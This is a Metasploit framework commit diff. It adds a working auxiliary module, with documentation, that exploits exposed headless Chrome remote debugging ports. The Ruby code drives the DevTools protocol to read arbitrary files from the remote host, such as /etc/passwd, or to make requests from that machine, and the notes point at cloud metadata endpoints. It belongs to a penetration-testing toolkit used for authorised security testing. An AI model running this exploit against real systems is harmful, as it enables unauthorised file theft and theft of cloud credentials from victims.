mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-09-11 17:08:02 +02:00
Land #12363, Adding Chrome Debugger Gather Auxiliary Module
This commit is contained in:
commit
e416f0d886
@ -15,8 +15,10 @@ PATH
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday (<= 0.17.0)
|
||||
faye-websocket
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@ -170,6 +172,9 @@ GEM
|
||||
i18n (>= 0.8)
|
||||
faraday (0.17.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faye-websocket (0.10.9)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
@ -381,6 +386,9 @@ GEM
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
websocket-driver (0.7.1)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.4)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
|
46
documentation/modules/auxiliary/gather/chrome_debugger.md
Normal file
46
documentation/modules/auxiliary/gather/chrome_debugger.md
Normal file
@ -0,0 +1,46 @@
|
||||
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
|
||||
|
||||
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
|
||||
|
||||
## Headless Chrome Sessions
|
||||
|
||||
A vulnerable Headless Chrome session can be started with the following command:
|
||||
|
||||
```
|
||||
$ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-address=0.0.0.0
|
||||
```
|
||||
|
||||
This will start a webserver running on port 9222 for all network interfaces.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Execute `auxiliary/gather/chrome_debugger`
|
||||
3. Execute `set RHOST $REMOTE_ADDRESS`
|
||||
4. Execute `set RPORT 9222`
|
||||
5. Execute either `set FILEPATH $FILE_PATH_ON_REMOTE` or `set URL $URL_FROM_REMOTE`
|
||||
6. Execute `run`
|
||||
|
||||
## Options
|
||||
|
||||
* FILEPATH - The file path on the remote you wish to retrieve
|
||||
* URL - A URL you wish to fetch the contents of from the remote machine
|
||||
|
||||
**Note:** One or the other must be set!
|
||||
|
||||
## Example Run
|
||||
|
||||
```
|
||||
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
|
||||
[*] Opened connection
|
||||
[*] Attempting to load url file:///etc/passwd
|
||||
[*] Received Data
|
||||
[*] Sending request for data
|
||||
[*] Received Data
|
||||
[+] Retrieved resource
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
|
@ -204,6 +204,10 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'aws-sdk-ec2'
|
||||
spec.add_runtime_dependency 'aws-sdk-iam'
|
||||
|
||||
# Needed for WebSocket Support
|
||||
spec.add_runtime_dependency 'faye-websocket'
|
||||
spec.add_runtime_dependency 'eventmachine'
|
||||
|
||||
# Earlier than latest Faraday gem is used to prevent upstream Octokit errors
|
||||
spec.add_runtime_dependency 'faraday', '<= 0.17.0'
|
||||
|
||||
|
126
modules/auxiliary/gather/chrome_debugger.rb
Normal file
126
modules/auxiliary/gather/chrome_debugger.rb
Normal file
@ -0,0 +1,126 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
require 'eventmachine'
|
||||
require 'faye/websocket'
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
|
||||
'Description' => %q{
|
||||
This module uses the Chrome Debugger's API to read
|
||||
files off the remote file system, or to make web requests
|
||||
from a remote machine. Useful for cloud metadata endpoints!
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
|
||||
'Nicholas Starke (The King Pig Demon)' # msf module
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
],
|
||||
'DisclosureDate' => 'Sep 24 2019',
|
||||
'DefaultOptions' => {
|
||||
},
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(9222),
|
||||
OptString.new('FILEPATH', [ false, 'File to fetch from remote machine.']),
|
||||
OptString.new('URL', [ false, 'Url to fetch from remote machine.']),
|
||||
OptInt.new('TIMEOUT', [ true, 'Time to wait for response', 10])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('Proxies')
|
||||
deregister_options('VHOST')
|
||||
deregister_options('SSL')
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
|
||||
print_error('Must set FilePath or Url')
|
||||
return
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/json',
|
||||
'method' => 'GET',
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error('Bad Response')
|
||||
else
|
||||
data = JSON.parse(res.body).pop
|
||||
EM.run {
|
||||
file_path = datastore['FILEPATH']
|
||||
url = datastore['URL']
|
||||
|
||||
if file_path
|
||||
fetch_uri = "file://#{file_path}"
|
||||
else
|
||||
fetch_uri = url
|
||||
end
|
||||
|
||||
print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
|
||||
|
||||
if not data.key?('webSocketDebuggerUrl')
|
||||
fail_with(Failure::Unknown, "Invalid JSON")
|
||||
end
|
||||
|
||||
driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
|
||||
|
||||
driver.on :open do |event|
|
||||
print_status('Opened connection')
|
||||
id = rand(1024 * 1024 * 1024)
|
||||
|
||||
@succeeded = false
|
||||
|
||||
EM::Timer.new(1) do
|
||||
print_status("Attempting to load url #{fetch_uri}")
|
||||
driver.send({
|
||||
'id' => id,
|
||||
'method' => 'Page.navigate',
|
||||
'params' => {
|
||||
'url': fetch_uri,
|
||||
}
|
||||
}.to_json)
|
||||
end
|
||||
|
||||
EM::Timer.new(3) do
|
||||
print_status('Sending request for data')
|
||||
driver.send({
|
||||
'id' => id + 1,
|
||||
'method' => 'Runtime.evaluate',
|
||||
'params' => {
|
||||
'expression' => 'document.documentElement.outerHTML'
|
||||
}
|
||||
}.to_json)
|
||||
end
|
||||
end
|
||||
|
||||
driver.on :message do |event|
|
||||
print_status("Received Data")
|
||||
|
||||
data = JSON.parse(event.data)
|
||||
|
||||
if data['result']['result']
|
||||
loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
|
||||
print_good("Stored #{fetch_uri} at #{loot_path}")
|
||||
@succeeded = true
|
||||
end
|
||||
end
|
||||
|
||||
EM::Timer.new(datastore['TIMEOUT']) do
|
||||
EventMachine.stop
|
||||
fail_with(Failure::Unknown, 'Unknown failure occurred') if not @succeeded
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user